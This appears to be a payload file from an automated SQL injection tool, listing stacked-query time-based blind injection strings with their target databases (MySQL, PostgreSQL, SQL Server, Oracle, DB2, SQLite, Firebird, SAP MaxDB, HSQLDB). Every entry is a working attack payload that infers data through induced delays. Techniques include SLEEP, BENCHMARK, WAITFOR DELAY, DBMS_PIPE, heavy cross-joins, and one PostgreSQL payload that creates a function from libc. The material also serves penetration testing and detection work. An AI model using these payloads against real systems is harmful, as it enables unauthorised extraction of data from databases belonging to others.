4 1 1 0 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # [SLEEPTIME]

MySQL > 5.0.11

4 2 1 0 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) [SLEEPTIME]

MySQL > 5.0.11

4 2 1 0 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME]) # [SLEEPTIME]

MySQL > 5.0.11

4 3 1 0 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME]) [SLEEPTIME]

MySQL > 5.0.11

4 2 2 0 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) # [DELAYED]

MySQL

4 4 2 0 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) [DELAYED]

MySQL

4 1 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME]) -- [SLEEPTIME]

PostgreSQL > 8.1

4 4 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME]) [SLEEPTIME]

PostgreSQL > 8.1

4 2 2 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) -- [DELAYED]

PostgreSQL

4 5 2 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) [DELAYED]

PostgreSQL

4 3 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) -- [SLEEPTIME]

PostgreSQL < 8.2 Linux

4 5 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) [SLEEPTIME]

PostgreSQL < 8.2 Linux

4 1 1 0 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]' -- [SLEEPTIME]

Microsoft SQL Server Sybase Windows

4 4 1 0 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]' [SLEEPTIME]

Microsoft SQL Server Sybase Windows

4 1 1 0 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL -- [SLEEPTIME]

Oracle

4 4 1 0 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL [SLEEPTIME]

Oracle

4 2 2 0 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 -- [DELAYED]

Oracle

4 5 2 0 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 [DELAYED]

Oracle

4 4 1 0 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END -- [SLEEPTIME]

Oracle

4 5 1 0 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END [SLEEPTIME]

Oracle

4 5 1 0 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END -- [SLEEPTIME]

Oracle

4 5 1 0 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END [SLEEPTIME]

Oracle

5 3 2 1,2,3 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 -- [DELAYED]

IBM DB2

5 5 2 1,2,3 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 [DELAYED]

IBM DB2

4 3 2 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) -- [DELAYED]

SQLite > 2.0

4 5 2 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) [DELAYED]

SQLite > 2.0

4 4 2 0 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 -- [DELAYED]

Firebird >= 2.0

4 5 2 0 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 [DELAYED]

Firebird >= 2.0

5 4 2 1,2,3 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 -- [DELAYED]

SAP MaxDB

5 5 2 1,2,3 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 [DELAYED]

SAP MaxDB

4 4 2 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) -- [SLEEPTIME]

HSQLDB >= 1.7.2

4 5 2 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) [SLEEPTIME]

HSQLDB >= 1.7.2

4 4 2 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) -- [SLEEPTIME]

HSQLDB >= 2.0

4 5 2 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) [SLEEPTIME]

HSQLDB >= 2.0